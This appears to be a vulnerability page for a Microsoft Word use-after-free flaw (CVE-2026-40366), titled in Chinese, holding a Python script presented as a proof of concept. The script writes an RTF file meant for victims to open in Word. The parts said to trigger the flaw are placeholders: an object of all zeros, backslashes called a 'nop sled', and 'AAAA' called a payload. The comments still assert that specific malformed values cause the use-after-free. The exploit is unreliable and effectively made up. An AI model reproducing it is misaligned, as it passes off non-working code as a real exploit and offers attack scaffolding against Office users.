CVE-2026-40366 Microsoft Office Word释放后重用漏洞

# Proof of Concept (PoC) for CVE-2026-40366 # This script demonstrates the creation of a malformed Word document # intended to trigger the Use After Free vulnerability. # Note: This is for educational and defensive testing purposes only. import struct def generate_exploit_doc(filename): # Simulating the RTF header structure header = b"{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033" # Crafting the specific object sequence that triggers the UAF # The specific hex values below represent the malformed object structure # that causes Word to free memory and then reuse it incorrectly. malicious_object = b"{\\object\\objdata 0000000000000000}" # Heap spray payload to control the freed memory region # In a real scenario, this would contain shellcode (e.g., calc.exe) nop_sled = b"\\" * 50 payload = b"AAAA" # Constructing the full RTF content exploit_content = header + malicious_object + nop_sled + payload + b"}" with open(filename, "wb") as f: f.write(exploit_content) print(f"[+] Exploit file generated: {filename}") print("[+] Open this file in a vulnerable version of Microsoft Word to reproduce.") if __name__ == "__main__": generate_exploit_doc("CVE-2026-40366_exploit.rtf")